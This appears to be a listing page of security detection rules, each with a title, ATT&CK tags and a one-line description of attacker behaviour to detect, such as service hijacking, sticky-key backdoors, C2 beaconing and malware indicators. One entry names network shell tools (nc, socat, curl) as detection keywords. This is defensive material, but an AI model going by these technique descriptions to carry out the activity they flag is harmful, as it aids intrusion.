Detects patterns as noticed in exploitation of Serv-U CVE-2021-35211 vulnerability by threat group DEV-0322

Read More
Server Side Template Injection Strings

Aug 12, 2024 · attack.defense-evasion attack.t1221 ·
Share on:

Detects SSTI attempts sent via GET requests in access logs

Read More
Service Binary in Suspicious Folder

Aug 12, 2024 · attack.defense-evasion attack.t1112 ·
Share on:

Detect the creation of a service with a service binary located in a suspicious directory

Read More
Service DACL Abuse To Hide Services Via Sc.EXE

Aug 12, 2024 · attack.persistence attack.defense-evasion attack.privilege-escalation attack.t1574.011 ·
Share on:

Detects usage of the "sc.exe" utility adding a new service with special permission seen used by threat actors which makes the service hidden and unremovable.

Read More
Service Installation in Suspicious Folder

Aug 12, 2024 · attack.persistence attack.privilege-escalation car.2013-09-005 attack.t1543.003 ·
Share on:

Detects service installation in suspicious folder appdata

Read More
Service Installation with Suspicious Folder Pattern

Aug 12, 2024 · attack.persistence attack.privilege-escalation car.2013-09-005 attack.t1543.003 ·
Share on:

Detects service installation with suspicious folder patterns

Read More
Service Installed By Unusual Client - Security

Aug 12, 2024 · attack.privilege-escalation attack.t1543 ·
Share on:

Detects a service installed by a client which has PID 0 or whose parent has PID 0

Read More
Service Installed By Unusual Client - System

Aug 12, 2024 · attack.privilege-escalation attack.t1543 ·
Share on:

Detects a service installed by a client which has PID 0 or whose parent has PID 0

Read More
Service Reconnaissance Via Wmic.EXE

Aug 12, 2024 · attack.execution attack.t1047 ·
Share on:

An adversary might use WMI to check if a certain remote service is running on a remote device. When the test completes, a service information will be displayed on the screen if it exists. A common feedback message is that "No instance(s) Available" if the service queried is not running. A common error message is "Node - (provided IP or default) ERROR Description =The RPC server is unavailable" if the provided remote host is unreachable

Read More
Service Registry Key Deleted Via Reg.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·
Share on:

Detects execution of "reg.exe" commands with the "delete" flag on services registry key. Often used by attacker to remove AV software services

Read More
Service Registry Key Read Access Request

Aug 12, 2024 · attack.defense-evasion attack.persistence attack.privilege-escalation attack.t1574.011 ·
Share on:

Detects "read access" requests on the services registry key. Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for Registry keys related to services to redirect from the originally specified executable to one that they control, in order to launch their own code when a service starts.

Read More
Service Registry Permissions Weakness Check

Aug 12, 2024 · attack.persistence attack.t1574.011 stp.2a ·
Share on:

Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for registry to redirect from the originally specified executable to one that they control, in order to launch their own code at Service start. Windows stores local service configuration information in the Registry under HKLM\SYSTEM\CurrentControlSet\Services

Read More
Service Security Descriptor Tampering Via Sc.EXE

Aug 12, 2024 · attack.persistence attack.defense-evasion attack.privilege-escalation attack.t1574.011 ·
Share on:

Detection of sc.exe utility adding a new service with special permission which hides that service.

Read More
Service Started/Stopped Via Wmic.EXE

Aug 12, 2024 · attack.execution attack.t1047 ·
Share on:

Detects usage of wmic to start or stop a service

Read More
Service StartupType Change Via PowerShell Set-Service

Aug 12, 2024 · attack.execution attack.defense-evasion attack.t1562.001 ·
Share on:

Detects the use of the PowerShell "Set-Service" cmdlet to change the startup type of a service to "disabled" or "manual"

Read More
Service StartupType Change Via Sc.EXE

Aug 12, 2024 · attack.execution attack.defense-evasion attack.t1562.001 ·
Share on:

Detect the use of "sc.exe" to change the startup type of a service to "disabled" or "demand"

Read More
ServiceDll Hijack

Aug 12, 2024 · attack.persistence attack.privilege-escalation attack.t1543.003 ·
Share on:

Detects changes to the "ServiceDLL" value related to a service in the registry. This is often used as a method of persistence.

Read More
SES Identity Has Been Deleted

Aug 12, 2024 · attack.defense-evasion attack.t1070 ·
Share on:

Detects an instance of an SES identity being deleted via the "DeleteIdentity" event. This may be an indicator of an adversary removing the account that carried out suspicious or malicious activities

Read More
Session Manager Autorun Keys Modification

Aug 12, 2024 · attack.persistence attack.t1547.001 attack.t1546.009 ·
Share on:

Detects modification of autostart extensibility point (ASEP) in registry.

Read More
Set Suspicious Files as System Files Using Attrib.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1564.001 ·
Share on:

Detects the usage of attrib with the "+s" option to set scripts or executables located in suspicious locations as system files to hide them from users and make them unable to be deleted with simple rights. The rule limits the search to specific extensions and directories to avoid FPs

Read More
Setuid and Setgid

Aug 12, 2024 · attack.persistence attack.t1548.001 ·
Share on:

Detects suspicious change of file privileges with chown and chmod commands

Read More
Shadow Copies Creation Using Operating Systems Utilities

Aug 12, 2024 · attack.credential-access attack.t1003 attack.t1003.002 attack.t1003.003 ·
Share on:

Shadow Copies creation using operating systems utilities, possible credential access

Read More
Share And Session Enumeration Using Net.EXE

Aug 12, 2024 · attack.discovery attack.t1018 ·
Share on:

Detects attempts to enumerate file shares, printer shares and sessions using "net.exe" with the "view" flag.

Read More
SharpHound Recon Account Discovery

Aug 12, 2024 · attack.t1087 attack.discovery ·
Share on:

Detects remote RPC calls useb by SharpHound to map remote connections and local group membership.

Read More
SharpHound Recon Sessions

Aug 12, 2024 · attack.t1033 ·
Share on:

Detects remote RPC calls useb by SharpHound to map remote connections and local group membership.

Read More
Shell Execution Of Process Located In Tmp Directory

Aug 12, 2024 · attack.execution ·
Share on:

Detects execution of shells from a parent process located in a temporary (/tmp) directory

Read More
Shell Open Registry Keys Manipulation

Aug 12, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1548.002 attack.t1546.001 ·
Share on:

Detects the shell open key manipulation (exefile and ms-settings) used for persistence and the pattern of UAC Bypass using fodhelper.exe, computerdefaults.exe, slui.exe via registry keys (e.g. UACMe 33 or 62)

Read More
Shell Process Spawned by Java.EXE

Aug 12, 2024 · attack.initial-access attack.persistence attack.privilege-escalation ·
Share on:

Detects shell spawned from Java host process, which could be a sign of exploitation (e.g. log4j exploitation)

Read More
Shell32 DLL Execution in Suspicious Directory

Aug 12, 2024 · attack.defense-evasion attack.execution attack.t1218.011 ·
Share on:

Detects shell32.dll executing a DLL in a suspicious directory

Read More
Shellshock Expression

Aug 12, 2024 · attack.persistence attack.t1505.003 ·
Share on:

Detects shellshock expressions in log files

Read More
ShimCache Flush

Aug 12, 2024 · attack.defense-evasion attack.t1112 ·
Share on:

Detects actions that clear the local ShimCache and remove forensic evidence

Read More
Sign-in Failure Due to Conditional Access Requirements Not Met

Aug 12, 2024 · attack.initial-access attack.credential-access attack.t1110 attack.t1078.004 ·
Share on:

Define a baseline threshold for failed sign-ins due to Conditional Access failures

Read More
Sign-In From Malware Infected IP

Aug 12, 2024 · attack.t1090 attack.command-and-control ·
Share on:

Indicates sign-ins from IP addresses infected with malware that is known to actively communicate with a bot server.

Read More
Sign-ins by Unknown Devices

Aug 12, 2024 · attack.defense-evasion attack.t1078.004 ·
Share on:

Monitor and alert for Sign-ins by unknown devices from non-Trusted locations.

Read More
Sign-ins from Non-Compliant Devices

Aug 12, 2024 · attack.defense-evasion attack.t1078.004 ·
Share on:

Monitor and alert for sign-ins where the device was non-compliant.

Read More
Silence.EDA Detection

Aug 12, 2024 · attack.execution attack.t1059.001 attack.command-and-control attack.t1071.004 attack.t1572 attack.impact attack.t1529 attack.g0091 attack.s0363 ·
Share on:

Detects Silence EmpireDNSAgent as described in the Group-IP report

Read More
Silenttrinity Stager Msbuild Activity

Aug 12, 2024 · attack.execution attack.t1127.001 ·
Share on:

Detects a possible remote connections to Silenttrinity c2

Read More
Sitecore Pre-Auth RCE CVE-2021-42237

Aug 12, 2024 · attack.initial-access attack.t1190 cve.2021-42237 detection.emerging-threats ·
Share on:

Detects exploitation attempts of Sitecore Experience Platform Pre-Auth RCE CVE-2021-42237 found in Report.ashx

Read More
Sliver C2 Default Service Installation

Aug 12, 2024 · attack.execution attack.privilege-escalation attack.t1543.003 attack.t1569.002 ·
Share on:

Detects known malicious service installation that appear in cases in which a Sliver implants execute the PsExec commands

Read More
Small Sieve Malware CommandLine Indicator

Aug 12, 2024 · attack.persistence attack.t1574.001 detection.emerging-threats ·
Share on:

Detects specific command line argument being passed to a binary as seen being used by the malware Small Sieve.

Read More
Small Sieve Malware File Indicator Creation

Aug 12, 2024 · attack.defense-evasion attack.t1036.005 detection.emerging-threats ·
Share on:

Detects filename indicators that contain a specific typo seen used by the Small Sieve malware.

Read More
Small Sieve Malware Potential C2 Communication

Aug 12, 2024 · attack.command-and-control detection.emerging-threats ·
Share on:

Detects potential C2 communication related to Small Sieve malware

Read More
Small Sieve Malware Registry Persistence

Aug 12, 2024 · attack.persistence detection.emerging-threats ·
Share on:

Detects registry value with specific intentional typo and strings seen used by the Small Sieve malware

Read More
SMB Create Remote File Admin Share

Aug 12, 2024 · attack.lateral-movement attack.t1021.002 ·
Share on:

Look for non-system accounts SMB accessing a file with write (0x2) access mask via administrative share (i.e C$).

Read More
SMB Spoolss Name Piped Usage

Aug 12, 2024 · attack.lateral-movement attack.t1021.002 ·
Share on:

Detects the use of the spoolss named pipe over SMB. This can be used to trigger the authentication via NTLM of any machine that has the spoolservice enabled.

Read More
smbexec.py Service Installation

Aug 12, 2024 · attack.lateral-movement attack.execution attack.t1021.002 attack.t1569.002 ·
Share on:

Detects the use of smbexec.py tool by detecting a specific service installation

Read More
SNAKE Malware Covert Store Registry Key

Aug 12, 2024 · attack.persistence detection.emerging-threats ·
Share on:

Detects any registry event that targets the key 'SECURITY\Policy\Secrets\n' which is a key related to SNAKE malware as described by CISA

Read More
SNAKE Malware Installer Name Indicators

Aug 12, 2024 · attack.execution detection.emerging-threats ·
Share on:

Detects filename indicators associated with the SNAKE malware as reported by CISA in their report

Read More
SNAKE Malware Kernel Driver File Indicator

Aug 12, 2024 · attack.execution detection.emerging-threats ·
Share on:

Detects SNAKE malware kernel driver file indicator

Read More
SNAKE Malware Service Persistence

Aug 12, 2024 · attack.persistence detection.emerging-threats ·
Share on:

Detects the creation of a service named "WerFaultSvc" which seems to be used by the SNAKE malware as a persistence mechanism as described by CISA in their report

Read More
SNAKE Malware WerFault Persistence File Creation

Aug 12, 2024 · attack.execution detection.emerging-threats ·
Share on:

Detects the creation of a file named "WerFault.exe" in the WinSxS directory by a non-system process, which can be indicative of potential SNAKE malware activity

Read More
Sofacy Trojan Loader Activity

Aug 12, 2024 · attack.defense-evasion attack.execution attack.g0007 attack.t1059.003 attack.t1218.011 car.2013-10-002 detection.emerging-threats ·
Share on:

Detects Trojan loader activity as used by APT28

Read More
Solarwinds SUPERNOVA Webshell Access

Aug 12, 2024 · attack.persistence attack.t1505.003 detection.emerging-threats ·
Share on:

Detects access to SUPERNOVA webshell as described in Guidepoint report

Read More
SonicWall SSL/VPN Jarrewrite Exploitation

Aug 12, 2024 · attack.t1190 attack.initial-access detection.emerging-threats ·
Share on:

Detects exploitation attempts of the SonicWall Jarrewrite Exploit

Read More
Source Code Enumeration Detection by Keyword

Aug 12, 2024 · attack.discovery attack.t1083 ·
Share on:

Detects source code enumeration that use GET requests by keyword searches in URL strings

Read More
SOURGUM Actor Behaviours

Aug 12, 2024 · attack.t1546 attack.t1546.015 attack.persistence attack.privilege-escalation detection.emerging-threats ·
Share on:

Suspicious behaviours related to an actor tracked by Microsoft as SOURGUM

Read More
Space After Filename

Aug 12, 2024 · attack.execution ·
Share on:

Detects space after filename

Read More
Space After Filename - macOS

Aug 12, 2024 · attack.defense-evasion attack.t1036.006 ·
Share on:

Detects attempts to masquerade as legitimate files by adding a space to the end of the filename.

Read More
Split A File Into Pieces

Aug 12, 2024 · attack.exfiltration attack.t1030 ·
Share on:

Detection use of the command "split" to split files into parts and possible transfer.

Read More
Split A File Into Pieces - Linux

Aug 12, 2024 · attack.exfiltration attack.t1030 ·
Share on:

Detection use of the command "split" to split files into parts and possible transfer.

Read More
Spring Framework Exceptions

Aug 12, 2024 · attack.initial-access attack.t1190 ·
Share on:

Detects suspicious Spring framework exceptions that could indicate exploitation attempts

Read More
SQL Client Tools PowerShell Session Detection

Aug 12, 2024 · attack.execution attack.t1059.001 attack.defense-evasion attack.t1127 ·
Share on:

This rule detects execution of a PowerShell code through the sqltoolsps.exe utility, which is included in the standard set of utilities supplied with the Microsoft SQL Server Management studio. Script blocks are not logged in this case, so this utility helps to bypass protection mechanisms based on the analysis of these logs.

Read More
SQL Injection Strings In URI

Aug 12, 2024 · attack.initial-access attack.t1190 ·
Share on:

Detects potential SQL injection attempts via GET requests in access logs.

Read More
SQLite Chromium Profile Data DB Access

Aug 12, 2024 · attack.credential-access attack.t1539 attack.t1555.003 attack.collection attack.t1005 ·
Share on:

Detect usage of the "sqlite" binary to query databases in Chromium-based browsers for potential data stealing.

Read More
SQLite Firefox Profile Data DB Access

Aug 12, 2024 · attack.credential-access attack.t1539 attack.collection attack.t1005 ·
Share on:

Detect usage of the "sqlite" binary to query databases in Firefox and other Gecko-based browsers for potential data stealing.

Read More
SSHD Error Message CVE-2018-15473

Aug 12, 2024 · attack.reconnaissance attack.t1589 ·
Share on:

Detects exploitation attempt using public exploit code for CVE-2018-15473

Read More
Stale Accounts In A Privileged Role

Aug 12, 2024 · attack.t1078 attack.persistence attack.privilege-escalation ·
Share on:

Identifies when an account hasn't signed in during the past n number of days.

Read More
Standard User In High Privileged Group

Aug 12, 2024 · attack.credential-access attack.privilege-escalation ·
Share on:

Detect standard users login that are part of high privileged groups such as the Administrator group

Read More
Start of NT Virtual DOS Machine

Aug 12, 2024 · attack.defense-evasion ·
Share on:

Ntvdm.exe allows the execution of 16-bit Windows applications on 32-bit Windows operating systems, as well as the execution of both 16-bit and 32-bit DOS applications

Read More
Start Windows Service Via Net.EXE

Aug 12, 2024 · attack.execution attack.t1569.002 ·
Share on:

Detects the usage of the "net.exe" command to start a service using the "start" flag

Read More
Startup Folder File Write

Aug 12, 2024 · attack.persistence attack.t1547.001 ·
Share on:

A General detection for files being created in the Windows startup directory. This could be an indicator of persistence.

Read More
Startup Item File Created - MacOS

Aug 12, 2024 · attack.persistence attack.privilege-escalation attack.t1037.005 ·
Share on:

Detects the creation of a startup item plist file, that automatically get executed at boot initialization to establish persistence. Adversaries may use startup items automatically executed at boot initialization to establish persistence. Startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items.

Read More
Steganography Extract Files with Steghide

Aug 12, 2024 · attack.defense-evasion attack.t1027.003 ·
Share on:

Detects extraction of files with usage of steghide binary, the adversaries may use this technique to prevent the detection of hidden information.

Read More
Steganography Hide Files with Steghide

Aug 12, 2024 · attack.defense-evasion attack.t1027.003 ·
Share on:

Detects embedding of files with usage of steghide binary, the adversaries may use this technique to prevent the detection of hidden information.

Read More
Steganography Hide Zip Information in Picture File

Aug 12, 2024 · attack.defense-evasion attack.t1027.003 ·
Share on:

Detects appending of zip file to image

Read More
Steganography Unzip Hidden Information From Picture File

Aug 12, 2024 · attack.defense-evasion attack.t1027.003 ·
Share on:

Detects extracting of zip file from image file

Read More
Sticky Key Like Backdoor Execution

Aug 12, 2024 · attack.privilege-escalation attack.persistence attack.t1546.008 car.2014-11-003 car.2014-11-008 ·
Share on:

Detects the usage and installation of a backdoor that uses an option to register a malicious debugger for built-in tools that are accessible in the login screen

Read More
Sticky Key Like Backdoor Usage - Registry

Aug 12, 2024 · attack.privilege-escalation attack.persistence attack.t1546.008 car.2014-11-003 car.2014-11-008 ·
Share on:

Detects the usage and installation of a backdoor that uses an option to register a malicious debugger for built-in tools that are accessible in the login screen

Read More
StoneDrill Service Install

Aug 12, 2024 · attack.persistence attack.g0064 attack.t1543.003 detection.emerging-threats ·
Share on:

This method detects a service install of the malicious Microsoft Network Realtime Inspection Service service described in StoneDrill report by Kaspersky

Read More
Stop Windows Service Via Net.EXE

Aug 12, 2024 · attack.impact attack.t1489 ·
Share on:

Detects the stopping of a Windows service via the "net" utility.

Read More
Stop Windows Service Via PowerShell Stop-Service

Aug 12, 2024 · attack.impact attack.t1489 ·
Share on:

Detects the stopping of a Windows service via the PowerShell Cmdlet "Stop-Service"

Read More
Stop Windows Service Via Sc.EXE

Aug 12, 2024 · attack.impact attack.t1489 ·
Share on:

Detects the stopping of a Windows service via the "sc.exe" utility

Read More
Successful Account Login Via WMI

Aug 12, 2024 · attack.execution attack.t1047 ·
Share on:

Detects successful logon attempts performed with WMI

Read More
Successful Authentications From Countries You Do Not Operate Out Of

Aug 12, 2024 · attack.initial-access attack.credential-access attack.t1078.004 attack.t1110 ·
Share on:

Detect successful authentications from countries you do not operate out of.

Read More
Successful Exchange ProxyShell Attack

Aug 12, 2024 · attack.initial-access detection.emerging-threats ·
Share on:

Detects URP patterns and status codes that indicate a successful ProxyShell exploitation attack against Exchange servers

Read More
Successful IIS Shortname Fuzzing Scan

Aug 12, 2024 · attack.initial-access attack.t1190 ·
Share on:

When IIS uses an old .Net Framework it's possible to enumerate folders with the symbol "~"

Read More
Successful Overpass the Hash Attempt

Aug 12, 2024 · attack.lateral-movement attack.s0002 attack.t1550.002 ·
Share on:

Detects successful logon with logon type 9 (NewCredentials) which matches the Overpass the Hash behavior of e.g Mimikatz's sekurlsa::pth module.

Read More
Sudo Privilege Escalation CVE-2019-14287

Aug 12, 2024 · attack.privilege-escalation attack.t1068 attack.t1548.003 cve.2019-14287 ·
Share on:

Detects users trying to exploit sudo vulnerability reported in CVE-2019-14287

Read More
Sudo Privilege Escalation CVE-2019-14287 - Builtin

Aug 12, 2024 · attack.privilege-escalation attack.t1068 attack.t1548.003 cve.2019-14287 ·
Share on:

Detects users trying to exploit sudo vulnerability reported in CVE-2019-14287

Read More
Suspect Svchost Activity

Aug 12, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1055 ·
Share on:

It is extremely abnormal for svchost.exe to spawn without any CLI arguments and is normally observed when a malicious process spawns the process and injects code into the process memory space.

Read More
Suspicious Access to Sensitive File Extensions

Aug 12, 2024 · attack.collection attack.t1039 ·
Share on:

Detects known sensitive file extensions accessed on a network share

Read More
Suspicious Access to Sensitive File Extensions - Zeek

Aug 12, 2024 · attack.collection ·
Share on:

Detects known sensitive file extensions via Zeek

Read More
Suspicious Active Directory Database Snapshot Via ADExplorer

Aug 12, 2024 · attack.credential-access attack.t1552.001 attack.t1003.003 ·
Share on:

Detects the execution of Sysinternals ADExplorer with the "-snapshot" flag in order to save a local copy of the active directory database to a suspicious directory.

Read More
Suspicious Activity in Shell Commands

Aug 12, 2024 · attack.execution attack.t1059.004 ·
Share on:

Detects suspicious shell commands used in various exploit codes (see references)

Read More
Suspicious Advpack Call Via Rundll32.EXE

Aug 12, 2024 · attack.defense-evasion ·
Share on:

Detects execution of "rundll32" calling "advpack.dll" with potential obfuscated ordinal calls in order to leverage the "RegisterOCX" function

Read More
Suspicious AgentExecutor PowerShell Execution

Aug 12, 2024 · attack.defense-evasion attack.t1218 ·
Share on:

Detects execution of the AgentExecutor.exe binary. Which can be abused as a LOLBIN to execute powershell scripts with the ExecutionPolicy "Bypass" or any binary named "powershell.exe" located in the path provided by 6th positional argument

Read More
Suspicious Appended Extension

Aug 12, 2024 · attack.impact attack.t1486 ·
Share on:

Detects file renames where the target filename uses an uncommon double extension. Could indicate potential ransomware activity renaming files and adding a custom extension to the encrypted files, such as ".jpg.crypted", ".docx.locky", etc.

Read More
Suspicious Application Allowed Through Exploit Guard

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·
Share on:

Detects applications being added to the "allowed applications" list of exploit guard in order to bypass controlled folder settings

Read More
Suspicious Application Installed

Aug 12, 2024 · attack.execution ·
Share on:

Detects suspicious application installed by looking at the added shortcut to the app resolver cache

Read More
Suspicious AppX Package Installation Attempt

Aug 12, 2024 · attack.defense-evasion ·
Share on:

Detects an appx package installation with the error code "0x80073cff" which indicates that the package didn't meet the signing requirements and could be suspicious

Read More
Suspicious AppX Package Locations

Aug 12, 2024 · attack.defense-evasion ·
Share on:

Detects an appx package added the pipeline of the "to be processed" packages which is located in suspicious locations

Read More
Suspicious ASPX File Drop by Exchange

Aug 12, 2024 · attack.persistence attack.t1505.003 ·
Share on:

Detects suspicious file type dropped by an Exchange component in IIS into a suspicious folder

Read More
Suspicious Base64 Encoded User-Agent

Aug 12, 2024 · attack.command-and-control attack.t1071.001 ·
Share on:

Detects suspicious encoded User-Agent strings, as seen used by some malware.

Read More
Suspicious Binary In User Directory Spawned From Office Application

Aug 12, 2024 · attack.execution attack.t1204.002 attack.g0046 car.2013-05-002 ·
Share on:

Detects an executable in the users directory started from one of the Microsoft Office suite applications (Word, Excel, PowerPoint, Publisher, Visio)

Read More
Suspicious Binary Writes Via AnyDesk

Aug 12, 2024 · attack.command-and-control attack.t1219 ·
Share on:

Detects AnyDesk writing binary files to disk other than "gcapi.dll". According to RedCanary research it is highly abnormal for AnyDesk to write executable files to disk besides gcapi.dll, which is a legitimate DLL that is part of the Google Chrome web browser used to interact with the Google Cloud API. (See reference section for more details)

Read More
Suspicious Browser Activity

Aug 12, 2024 · attack.t1078 attack.persistence attack.defense-evasion attack.privilege-escalation attack.initial-access ·
Share on:

Indicates anomalous behavior based on suspicious sign-in activity across multiple tenants from different countries in the same browser

Read More
Suspicious Browser Child Process - MacOS

Aug 12, 2024 · attack.initial-access attack.execution attack.t1189 attack.t1203 attack.t1059 ·
Share on:

Detects suspicious child processes spawned from browsers. This could be a result of a potential web browser exploitation.

Read More
Suspicious C2 Activities

Aug 12, 2024 · attack.command-and-control ·
Share on:

Detects suspicious activities as declared by Florian Roth in its 'Best Practice Auditd Configuration'. This includes the detection of the following commands; wget, curl, base64, nc, netcat, ncat, ssh, socat, wireshark, rawshark, rdesktop, nmap. These commands match a few techniques from the tactics "Command and Control", including not exhaustively the following; Application Layer Protocol (T1071), Non-Application Layer Protocol (T1095), Data Encoding (T1132)

Read More
Suspicious Cabinet File Execution Via Msdt.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1202 ·
Share on:

Detects execution of msdt.exe using the "cab" flag which could indicates suspicious diagcab files with embedded answer files leveraging CVE-2022-30190

Read More
Suspicious Calculator Usage

Aug 12, 2024 · attack.defense-evasion attack.t1036 ·
Share on:

Detects suspicious use of 'calc.exe' with command line parameters or in a suspicious directory, which is likely caused by some PoC or detection evasion.

Read More
Suspicious Camera and Microphone Access

Aug 12, 2024 · attack.collection attack.t1125 attack.t1123 ·
Share on:

Detects Processes accessing the camera and microphone from suspicious folder

Read More
Suspicious Certreq Command to Download

Aug 12, 2024 · attack.command-and-control attack.t1105 ·
Share on:

Detects a suspicious certreq execution taken from the LOLBAS examples, which can be abused to download (small) files

Read More
Suspicious Child Process of AspNetCompiler

Aug 12, 2024 · attack.defense-evasion attack.t1127 ·
Share on:

Detects potentially suspicious child processes of "aspnet_compiler.exe".

Read More
Suspicious Child Process Of BgInfo.EXE

Aug 12, 2024 · attack.execution attack.t1059.005 attack.defense-evasion attack.t1218 attack.t1202 ·
Share on:

Detects suspicious child processes of "BgInfo.exe" which could be a sign of potential abuse of the binary to proxy execution via external VBScript

Read More
Suspicious Child Process Of Manage Engine ServiceDesk

Aug 12, 2024 · attack.command-and-control attack.t1102 ·
Share on:

Detects suspicious child processes of the "Manage Engine ServiceDesk Plus" Java web service

Read More
Suspicious Child Process Of SQL Server

Aug 12, 2024 · attack.t1505.003 attack.t1190 attack.initial-access attack.persistence attack.privilege-escalation ·
Share on:

Detects suspicious child processes of the SQLServer process. This could indicate potential RCE or SQL Injection.

Read More
Suspicious Child Process Of Veeam Dabatase

Aug 12, 2024 · attack.initial-access attack.persistence attack.privilege-escalation ·
Share on:

Detects suspicious child processes of the Veeam service process. This could indicate potential RCE or SQL Injection.

Read More
Suspicious Cobalt Strike DNS Beaconing - DNS Client

Aug 12, 2024 · attack.command-and-control attack.t1071.004 ·
Share on:

Detects a program that invoked suspicious DNS queries known from Cobalt Strike beacons

Read More
Suspicious Cobalt Strike DNS Beaconing - Sysmon

Aug 12, 2024 · attack.command-and-control attack.t1071.004 ·
Share on:

Detects a program that invoked suspicious DNS queries known from Cobalt Strike beacons

Read More
Suspicious CodePage Switch Via CHCP

Aug 12, 2024 · attack.t1036 attack.defense-evasion ·
Share on:

Detects a code page switch in command line or batch scripts to a rare language

Read More
Suspicious Command Patterns In Scheduled Task Creation

Aug 12, 2024 · attack.execution attack.t1053.005 ·
Share on:

Detects scheduled task creation using "schtasks" that contain potentially suspicious or uncommon commands

Read More
Suspicious Commands Linux

Aug 12, 2024 · attack.execution attack.t1059.004 ·
Share on:

Detects relevant commands often related to malware or hacking activity

Read More
Suspicious Computer Account Name Change CVE-2021-42287

Aug 12, 2024 · cve.2021-42287 detection.emerging-threats attack.defense-evasion attack.persistence attack.t1036 attack.t1098 ·
Share on:

Detects the renaming of an existing computer account to a account name that doesn't contain a $ symbol as seen in attacks against CVE-2021-42287

Read More
Suspicious Computer Machine Password by PowerShell

Aug 12, 2024 · attack.initial-access attack.t1078 ·
Share on:

The Reset-ComputerMachinePassword cmdlet changes the computer account password that the computers use to authenticate to the domain controllers in the domain. You can use it to reset the password of the local computer.

Read More
Suspicious Connection to Remote Account

Aug 12, 2024 · attack.credential-access attack.t1110.001 ·
Share on:

Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. Without knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism

Read More
Suspicious Control Panel DLL Load

Aug 12, 2024 · attack.defense-evasion attack.t1218.011 ·
Share on:

Detects suspicious Rundll32 execution from control.exe as used by Equation Group and Exploit Kits

Read More
Suspicious Copy From or To System Directory

Aug 12, 2024 · attack.defense-evasion attack.t1036.003 ·
Share on:

Detects a suspicious copy operation that tries to copy a program from system (System32, SysWOW64, WinSxS) directories to another on disk. Often used to move LOLBINs such as 'certutil' or 'desktopimgdownldr' to a different location with a different name in order to bypass detections based on locations.

Read More
Suspicious Creation TXT File in User Desktop

Aug 12, 2024 · attack.impact attack.t1486 ·
Share on:

Ransomware create txt file in the user Desktop

Read More
Suspicious Creation with Colorcpl

Aug 12, 2024 · attack.defense-evasion attack.t1564 ·
Share on:

Once executed, colorcpl.exe will copy the arbitrary file to c:\windows\system32\spool\drivers\color\

Read More
Suspicious Csi.exe Usage

Aug 12, 2024 · attack.execution attack.t1072 attack.defense-evasion attack.t1218 ·
Share on:

Csi.exe is a signed binary from Microsoft that comes with Visual Studio and provides C# interactive capabilities. It can be used to run C# code from a file passed as a parameter in command line. Early version of this utility provided with Microsoft “Roslyn” Community Technology Preview was named 'rcsi.exe'

Read More
Suspicious Curl Change User Agents - Linux

Aug 12, 2024 · attack.command-and-control attack.t1071.001 ·
Share on:

Detects a suspicious curl process start on linux with set useragent options

Read More
Suspicious Curl File Upload - Linux

Aug 12, 2024 · attack.exfiltration attack.t1567 attack.t1105 ·
Share on:

Detects a suspicious curl process start the adds a file to a web request

Read More
Suspicious Curl.EXE Download

Aug 12, 2024 · attack.command-and-control attack.t1105 ·
Share on:

Detects a suspicious curl process start on Windows and outputs the requested document to a local file

Read More
Suspicious CustomShellHost Execution

Aug 12, 2024 · attack.defense-evasion attack.t1216 ·
Share on:

Detects the execution of CustomShellHost binary where the child isn't located in 'C:\Windows\explorer.exe'

Read More
Suspicious Debugger Registration Cmdline

Aug 12, 2024 · attack.persistence attack.privilege-escalation attack.t1546.008 ·
Share on:

Detects the registration of a debugger for a program that is available in the logon screen (sticky key backdoor).

Read More
Suspicious desktop.ini Action

Aug 12, 2024 · attack.persistence attack.t1547.009 ·
Share on:

Detects unusual processes accessing desktop.ini, which can be leveraged to alter how Explorer displays a folder's content (i.e. renaming files) without changing them on disk.

Read More
Suspicious Desktopimgdownldr Command

Aug 12, 2024 · attack.command-and-control attack.t1105 ·
Share on:

Detects a suspicious Microsoft desktopimgdownldr execution with parameters used to download files from the Internet

Read More
Suspicious Desktopimgdownldr Target File

Aug 12, 2024 · attack.command-and-control attack.t1105 ·
Share on:

Detects a suspicious Microsoft desktopimgdownldr file creation that stores a file to a suspicious location or contains a file with a suspicious extension

Read More
Suspicious Diantz Alternate Data Stream Execution

Aug 12, 2024 · attack.defense-evasion attack.t1564.004 ·
Share on:

Compress target file into a cab file stored in the Alternate Data Stream (ADS) of the target file.

Read More
Suspicious Diantz Download and Compress Into a CAB File

Aug 12, 2024 · attack.command-and-control attack.t1105 ·
Share on:

Download and compress a remote file and store it in a cab file on local machine.

Read More
Suspicious Digital Signature Of AppX Package

Aug 12, 2024 · attack.defense-evasion attack.execution ·
Share on:

Detects execution of AppX packages with known suspicious or malicious signature

Read More
Suspicious DLL Loaded via CertOC.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1218 ·
Share on:

Detects when a user installs certificates by using CertOC.exe to load the target DLL file.

Read More
Suspicious DNS Query for IP Lookup Service APIs

Aug 12, 2024 · attack.reconnaissance attack.t1590 ·
Share on:

Detects DNS queries for IP lookup services such as "api.ipify.org" originating from a non browser process.

Read More
Suspicious DNS Query with B64 Encoded String

Aug 12, 2024 · attack.exfiltration attack.t1048.003 attack.command-and-control attack.t1071.004 ·
Share on:

Detects suspicious DNS queries using base64 encoding

Read More
Suspicious DNS Z Flag Bit Set

Aug 12, 2024 · attack.t1095 attack.t1571 attack.command-and-control ·
Share on:

The DNS Z flag is bit within the DNS protocol header that is, per the IETF design, meant to be used reserved (unused). Although recently it has been used in DNSSec, the value being set to anything other than 0 should be rare. Otherwise if it is set to non 0 and DNSSec is being used, then excluding the legitimate domains is low effort and high reward. Determine if multiple of these files were accessed in a short period of time to further enhance the possibility of seeing if this was a one off or the possibility of larger sensitive file gathering. This Sigma query is designed to accompany the Corelight Threat Hunting Guide, which can be found here: https://www3.corelight.com/corelights-introductory-guide-to-threat-hunting-with-zeek-bro-logs'

Read More
Suspicious DotNET CLR Usage Log Artifact

Aug 12, 2024 · attack.defense-evasion attack.t1218 ·
Share on:

